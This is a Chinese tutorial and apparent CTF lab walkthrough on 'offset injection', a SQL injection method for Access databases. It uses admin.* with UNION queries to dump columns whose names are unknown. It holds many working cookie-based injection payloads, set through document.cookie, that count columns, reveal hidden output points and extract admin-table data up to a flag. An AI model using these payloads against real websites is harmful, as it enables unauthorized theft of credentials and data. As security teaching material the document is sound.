目录
1、偏移注入使用场景
在做SQL注入的时候,通常我们查询数据需要知道在哪个表哪个字段,我们才能在里面提取到我们想要的数据,比如说select password from admin,从admin表里面取password字段里面的内容;
在做渗透测试会遇到一种情况,比如没有系统自带库,因为有的系统自带库可能权限不够或访问不了,像Access数据库根本就没有系统自带库;如果遇到这种情况就会产生一些问题,表名、字段名就需要强行猜;
需要强行猜就会造成一种情况,比如说它的字段名设置的比较奇葩的时候,例如像这样的:H5scker_Passwd,这一类的密码字典里面不存在,所以基本上来说是爆破不了;
这样的问题该如何解决?
如果不知道表名,那在Access数据库中也是无解的,它不能够通过Burp一个个地爆破,但是如果知道表名不知道字段名,那是有解的,就要用到——偏移注入(移位溢注);
2、什么是移位溢注?
偏移注入正统的叫法是移位溢注,我们现在要学的方法叫做移位溢注,它跟正统的偏移注入不一样,移位溢注是现在做偏移注入比较主流的方法;
真正的偏移注入是要用一些左连接右连接的查询,比较麻烦,而且成功率比较低;所以我们学习成功率比较高的移位溢注;
之前我们学习过:
库.表.字段 => 选中某库中的某表中的某字段
select * from admin 查询admin表里面的全部字段内容
可以看到里面有id、username、password字段;
输入select * from admin就能查询到admin表里字段内容;
会发现select * from admin等价于select id,username,password from admin;
*(星号)就代表着id,username,password字段;
这个时候就会产生一个问题:为什么*就代表着admin表里的内容,而不是其他表的内容?
这是因为现在所查询的是admin表,所以*代表的是admin表里的所有字段;
select * from admin => select id,username,password from admin
这个地方还可以用库.表.字段来写select admin.* from admin
select admin.* from admin
会发现得到的结果和我们前面得到的结果是相同的;
可以得出一个小结论:
select admin.* from admin 中的 admin.*代表着admin表中的所有字段;
那么现在就知道了表名.*代表着这个表里所有的字段;
这里就是核心概念;
举个例子:
select * from news where id =1 union select admin.* from admin
union:要求前后两条SQL语句的字段数必须相同;
union的核心是将两个查询的结果输出到一起;
比如这有一个表,里面有学号,姓名,性别3个字段,第一条数据逐一显示了3个字段内容,但第二条数据不止显示了3个字段内容并且还多出了一个21;
那么这个数据去导入的时候就会出现问题,数据库不知道21是什么情况,不知道21是对应什么的,就会出现报错或者不执行,这里就是联合查询的核心,前后的字段数必须要相同;
如果我们去写一个select 1,2,3,4这1,2,3,4并不重要,重要的是位置,你也可以写其他的select 222,111111,55555,6666是一样的,都是占4个位置,无论你写的再长,都是一样的;
select 1,2,3,4=select 222,111111,55555,6666
select 1,2,3,4=select 'skjfhkjhkja',222,345,112
回到上面那条语句;
select * from news where id =1 union select admin.* from admin
必要条件
偏移注入需要满足一定的条件:
①知道表名;
②注入点的字段数长度要大于你想要查询的表的字段数;
a. 第一种情况
后半条语句的字段数多于前半条语句的字段数
select * from news where id =1 union select admin.* from admin
可以union前后做个分割;
select * from news where id =1 假设这里是3个字段
union
select admin.* from admin 而这里是4个字段
像这样的情况就不能写select admin.* from admin,因为已经超出了前面的字段数;
b. 第二种情况
前半条语句的字段数多于后半条语句的字段数
select * from news where id =1 假设这里是5个字段
union
select admin.* from admin 而这里是4个字段
像这样的情况,可以在后面admin.*前面加个1,当然加其他的也可以,这只是一个字段名;
select 1,admin.* from admin=select 1,id,username,password,token from admin
"其中1,id,username,password,token为我们假设的字段名" -- qwe
news表里有5个字段,而原本的admin表只有4个字段,我们通过在admin.*前面增加一个1,强行凑成了5个字段,通过这样的方法是可以得到数据的;
select * from news where id =1 假设这里是5个字段
union
select 1,admin.* from admin 原本这里是4个字段,加个字段(这里加的是1)凑成了5个字段
-
原理
id一般为整数型,我们假设id=9.99,并且假设输出点是在第2个字段,那么联合输出的会是哪个字段?
前半句:select * from news where id =9.99
select * from news where id =9.99 假设输出点是在第2个字段
union
select 1,id,username,password,token from admin
结果是id字段;
如果将1的位置改一下会输出哪个字段呢?
select * from news where id =9.99 假设输出点是在第2个字段
union
select admin.*,1 from admin
select admin.*,1 from admin=select id,username,password,token,1 from admin
"其中id,username,password,token,1为我们假设的字段名" -- qwe
select * from news where id =9.99 假设输出点是在第2个字段
union
select 1,id,username,password,token from admin
结果是username字段;
c. 第三种情况
通过移位的方法获取数据
select * from news where id =9.99 假设news表有15个字段,输出点是在第8个字段
union
select admin.*,1 from admin 假设admin表有4个字段
select admin.*,1 from admin=select id,username,password,token,1 from admin
"其中id,username,password,token为我们假设的字段名" -- qwe
news表里有15个字段,admin.*有4个字段,分别是id,username,password,tooken;
select 1,2,3,4,5,6,7,8,9,10,11,admin.*
=>
select 1,2,3,4,5,6,7,8,9,10,11,id,username,password,tooken
现在会想到一个问题,怎么知道有张表叫news表,其实每一个漏洞都有适用范围,前面列举的那些例子都有一个必要条件就是知道表名,如果能够知道表名,那么就能用order by 来判断表里有几个字段;
输出点在8,如果想把id字段输出,需要怎么做呢?只需要换一下位置;
select 1,2,3,4,5,6,7,admin.*,8,9,10,11
=>
select 1,2,3,4,5,6,7,id,username,password,tooken,8,9,10,11
不同位置输出的结果是不同的;
select 1,2,3,4,5,6,admin.*,7,8,9,10,11
=>
select 1,2,3,4,5,6,id,username,password,tooken,7,8,9,10,11
将7往后移了1位,而admin必然就往前进了1位,此时结果为username;
如果把6移到后面去;
select 1,2,3,4,5,admin.*,6,7,8,9,10,11
=>
select 1,2,3,4,5,id,username,password,tooken,6,7,8,9,10,11
输出的结果是password;
通过这样的移法,admin.*来代替表里所有的字段,在不知道字段名的情况下也能够获取数据,这就是偏移注入;
这个时候会出现新的疑问,admin表的字段数不知道,怎么办?
前面例题说了有15个字段,那我们暂时就先假设有15个字段;
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
我们可以不断尝试;
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
=>
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,admin.*
如果显示不正常或者出现了报错的情况,那我们可以继续减;
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
=>
select 1,2,3,4,5,6,7,8,9,10,11,12,13,admin.*
减到正常为止;
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
=>
select 1,2,3,4,5,6,7,8,9,10,11,12,admin.*
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
=>
select 1,2,3,4,5,6,7,8,9,10,11,admin.*
如果到最后减完了,还是显示不正常,先检查一下语句有没有问题,如果没有问题,说明这个注入点不能用。
3、例题讲解——利用JS设置
-
推测字段数
首先F12打开开发者工具;
输入语句之后回车;
document.cookie='id='+escape("171 union select 1,2,3,4,5,6,7,8,9,0,10 from admin")
设置cookie为id,再设置等于什么数值,escape是JS中URL编码的意思,所以会对传入的数据进行一次URL编码;
回车之后页面的显示;
页面上出现了2、7、8、9、3,这些就是输出点,代表字段2、7、8、9、3都是输出点;
目前不知道admin表里有多少个字段,我们可以用admin.*来推测;
document.cookie='id='+escape("171 union select 1,2,3,4,5,6,7,8,9,admin.* from admin")
很明显不对;
需要继续删;
document.cookie='id='+escape("171 union select 1,2,3,4,5,6,7,admin.* from admin")
还是不对;
继续删;
document.cookie='id='+escape("171 union select 1,2,3,4,5,admin.* from admin")
继续删;
document.cookie='id='+escape("171 union select 1,admin.* from admin")
还是错的;
全部删除,会是什么样的结果?
document.cookie='id='+escape("171 union select admin.* from admin")
还是不对;
-
更换注入点推测字段数
全部删完都没有结果,说明当前注入点查询的表字段数是小于admin表,即admin.*一定大于10个字段;
代表偏移注入在这个注入点没有用了,但是漏洞不可能只有一个,在同一个网站内,同一个开发,其他的地方肯定还会有漏洞;
我们可以试试看其他地方是否存在漏洞呢,举个例子,我们试试看产品中心;
随机点进一个;
这里是105;
试试看能不能用;
document.cookie='id='+escape("105")
发现这个可以用;
接下来我们试试看 order by 1有没有数据;
document.cookie='id='+escape("105 order by 1")
有数据;
再试试看 order by 100;
document.cookie='id='+escape("105 order by 100")
没有数据了;
这么来看这里存在SQL注入的可能性非常大;
当我们将 order by 100这条命令再去执行一遍的时候却又可以了,又有数据了,这是为什么?
问题出在于URL栏里,这部分要删除掉,因为当没有数据的时候,网站会自动返回上一页,就自动返回了105这个页面,所以输入命令后的每次回车都要把?之后的内容删掉;
删掉了才是正确的;
接下来我们继续推测有几个字段;
试试看50;
document.cookie='id='+escape("105 order by 50")
无数据;
试试看25;
document.cookie='id='+escape("105 order by 25")
有数据了;
试试看30;
document.cookie='id='+escape("105 order by 30")
没数据;
试试看27;
document.cookie='id='+escape("105 order by 27")
无数据;
结果在25~27之间,我们只需再查26;
document.cookie='id='+escape("105 order by 26")
26有数据,27没数据,说明一共有26个字段;
-
推测输出点
查看这26个字段里有哪些是输出点;
document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")
删除URL栏里?后的内容后再回车;
可以确定这里有3个输出点,一定有3、5、7这三个输出点,但输出点不一定只有3、5、7;
我们可以看一下源代码有好几个数字,其中就有25,那这会不会也是输出点呢;
试试看把25改一下,改成29999;
document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,29999 from admin")
会发现这里也变了;
这说明25也是一个输出点,有的输出点不会在页面上显示,也有可能藏在源码中;
这时候出现新的问题,怎么样去找到藏在源码中的输出点;
像1、2、3、4、5、6、7、8、9这样的数字出现的比较多,在源码中就不好分辨,我们可以加比较有辨识度的数字,例:0000,8765,4321这样的,可以自定义;
但是不建议写字符串,因为有些数据库在做联合查询的时候有要求,如果写字符串可能会出现报错,因为原本是一个数字类型的,但写了字符串就可能会报错;
document.cookie='id='+escape("105 union select 18765,28765,38765,48765,58765,68765,78765,88765,98765,108765,118765,128765,138765,148765,158765,168765,178765,188765,198765,208765,218765,228765,238765,248765,258765,268765 from admin")
回车后,页面怎么没显示了?怎么没像前面一样显示输出点?
这是因为105是有数据的,数据会排序,我们需要加一个 and 1=2 ,是因为要让前面的语句查询不出结果;
但是前面我们正常的1、2、3、4、5、6、7、8、9、10却会有正常的显示,这是因为我们所看到的union select 1,2,3,4,5.......像union select 1对应的可能是id=1,因为数据库排序的缘故,id=1可能输出的比105输出的更上面;
之前我们在做的时候没写 and 1=2 ,这是因为后面这条语句所得到的结果比前面的语句要更大,比前面的语句排的更上面,所以就没有去写;
比如下面这个表格有2行数据,但是只会输出一行,那究竟会输出哪一行呢,这跟排序有关;
按照排序规则小的在前,那么取的就是1这行数据;
为了不让前面的语句干扰到,阻止前面的语句输出,就要写个 and 1=2;
document.cookie='id='+escape("105 and 1=2 union select 18765,28765,38765,48765,58765,68765,78765,88765,98765,108765,118765,128765,138765,148765,158765,168765,178765,188765,198765,208765,218765,228765,238765,248765,258765,268765 from admin")
刷新之后就会显示输出点;
我们再打开源代码,ctrl+f 搜索8765;
输出点有4个,分别是3、5、7、25;
-
获得数据
现在我们知道了输出点,就可以通过 admin.* 去删,admin.*其实就相当于一个占位符;
document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,admin.* from admin")
一个个慢慢删;
document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,admin.* from admin")
当我删到第16的时候,页面是正常的,admin.*就是第16个字段;
document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin")
打开源代码,"width="450"是admin表里的倒数第二个字段,因为原本有26个字段,其中这个输出点是25,那就是倒数第二个;
接下来移一下,输出admin里的最后一个字段;
document.cookie='id='+escape("105 union select 1,2,3,4,5,6,7,8,9,admin.*,10 from admin")
回车之后再去看源代码的内容,这个数据就是要获得的flag——zkaq{f0e12dafb6};
常理:前5至7个字段是最有用的,一般都是admin,id,username,password,校验码,邮箱;